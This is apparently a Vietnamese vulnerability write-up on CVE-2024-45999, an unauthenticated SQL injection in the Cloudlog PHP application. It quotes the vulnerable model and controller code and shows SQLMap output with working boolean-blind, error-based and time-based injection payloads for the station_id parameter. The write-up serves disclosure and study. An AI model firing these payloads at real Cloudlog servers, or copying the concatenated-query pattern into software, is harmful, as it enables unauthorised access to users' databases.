Lời nói đầu
Mình xin tự giới thiệu mình là Trung aka chigger . Mình là thành viên trong gia đình CookieHanHoan.
Mình sẽ tiếp tục với hành trình spam nhiều CVE nhất có thể.
Thông tin lỗ hổng
Bài viết này sẽ sử dụng phương pháp phân tích Whitebox, còn được gọi là Source Code Audit để phân tích source code và tìm ra lỗ hổng.
CVE-2024-45999:
Điểm số: 7.3
Mức độ nguy hiểm: HIGH
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Mục tiêu
Cloudlog là một ứng dụng PHP tự lưu trữ cho phép bạn ghi lại các liên hệ vô tuyến nghiệp dư của mình ở bất cứ đâu.
Mã nguồn: Cloudlog
Nền tảng này được thiết kế bằng ngôn ngữ PHP và 1 số công nghệ nổi bật:
Codeigniter 3: Framework PHP cho phát triển ứng dụng web.
Bootstrap 5: Bộ công cụ giao diện người dùng CSS để thiết kế website.
HTMX: Được sử dụng để thực hiện các yêu cầu AJAX.
jQuery: Thư viện JavaScript để hỗ trợ các chức năng giao diện người dùng.
Font Awesome: Bộ biểu tượng được sử dụng để thêm các icon vào giao diện.
Nguyên nhân gốc rễ (root-cause) gây ra lỗ hổng?
ỗ hổng Injection, đặc biệt là SQL Injection, thường xuất phát từ việc ứng dụng không kiểm soát chặt chẽ dữ liệu đầu vào của người dùng, hay còn gọi là dữ liệu không đáng tin cậy (Untrusted Data). Trong nền tảng Cloudlog, nhiều câu truy vấn SQL được viết thủ công dưới dạng raw query.
Ngoài ra, chức năng tồn tại lỗ hổng này không thực hiện xác thực người dùng, dẫn đến lỗ hổng được gọi là Unauthenticated SQL Injection, với điểm CVSS ở mức cao và cực kỳ nguy hiểm.
CVE-2024-45999
Trong hàm get_station_info()
tại file /application/models/Oqrs_model.php
, chúng ta thấy rằng developer sử dụng raw query và thực hiện việc nối chuỗi với tham số station_id
. Điều này có thể dẫn đến lỗ hổng SQL Injection tiềm ẩn.
class Oqrs_model extends CI_Model {
...
function get_station_info($station_id) {
$station_id = $this->security->xss_clean($station_id);
$sql = 'select
count(*) as count,
min(col_time_on) as mindate,
max(col_time_on) as maxdate
from ' . $this->config->item('table_name') . ' where station_id = ' . $station_id;
$query = $this->db->query($sql);
return $query->row();
}
...
}
Phân tích mã nguồn cho thấy hàm get_station_info()
được gọi từ file /application/controllers/Oqrs.php
. Điều đáng chú ý là giá trị của tham số station_id
được truyền vào mà không hề kiểm tra hoặc xác thực đầu vào từ người dùng. Hơn nữa, framework CodeIgniter có cung cấp hàm authorize()
để xác thực và phân quyền người dùng, nhưng đoạn mã này đã bị comment.
class Oqrs extends CI_Controller {
function __construct() {
parent::__construct();
$this->lang->load('lotw');
$this->lang->load('eqsl');
// Commented out to get public access
// $this->load->model('user_model');
// if(!$this->user_model->authorize(2)) { $this->session->set_flashdata('notice', 'You\'re not allowed to do that!'); redirect('dashboard'); }
}
.......
public function get_station_info() {
$this->load->model('oqrs_model');
$result = $this->oqrs_model->get_station_info($this->input->post('station_id'));
header('Content-Type: application/json');
echo json_encode($result);
}
......
Kết luận: Hàm get_station_info()
xuất hiện lỗ hổng Unauthenticated SQL Injection do không thực hiện việc validate dữ liệu người dùng và thiếu cơ chế xác thực.
Cách khai thác
Việc thiếu kiểm tra dữ liệu đầu vào khi sử dụng raw query tiềm ẩn nguy cơ SQL Injection. Kẻ tấn công có thể lợi dụng ký tự đặc biệt để phá vỡ cú pháp truy vấn và thực thi mã độc hại.
CVE-2024-45999
Mình thử với kí tự đặc biệt '. Quan sát thấy server trả về thông báo Error syntax của câu truy vấn. Vậy ở đây ở tham số station_id
tồn tại lỗ hổng SQL Injection.
Mình sử dụng công cụ như SQLMap (công cụ tự động hóa quá trình khai thác lỗ hổng SQL Injection). SQLMap có thể tạo ra mã khai thác tùy chỉnh dựa trên phân tích tự động của ứng dụng mục tiêu và cơ sở dữ liệu liên quan.
Mã khai thác:
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: station_id=1 AND 3912=3912
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: station_id=1 AND (SELECT 2626 FROM(SELECT COUNT(*),CONCAT(0x7176717671,(SELECT (ELT(2626=2626,1))),0x7170627071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: station_id=1 AND (SELECT 3981 FROM (SELECT(SLEEP(5)))yhwi)
xài proc khi truy vấn truyền tham số (parameter) thì tiêm injection giờ không ăn thua nhỉ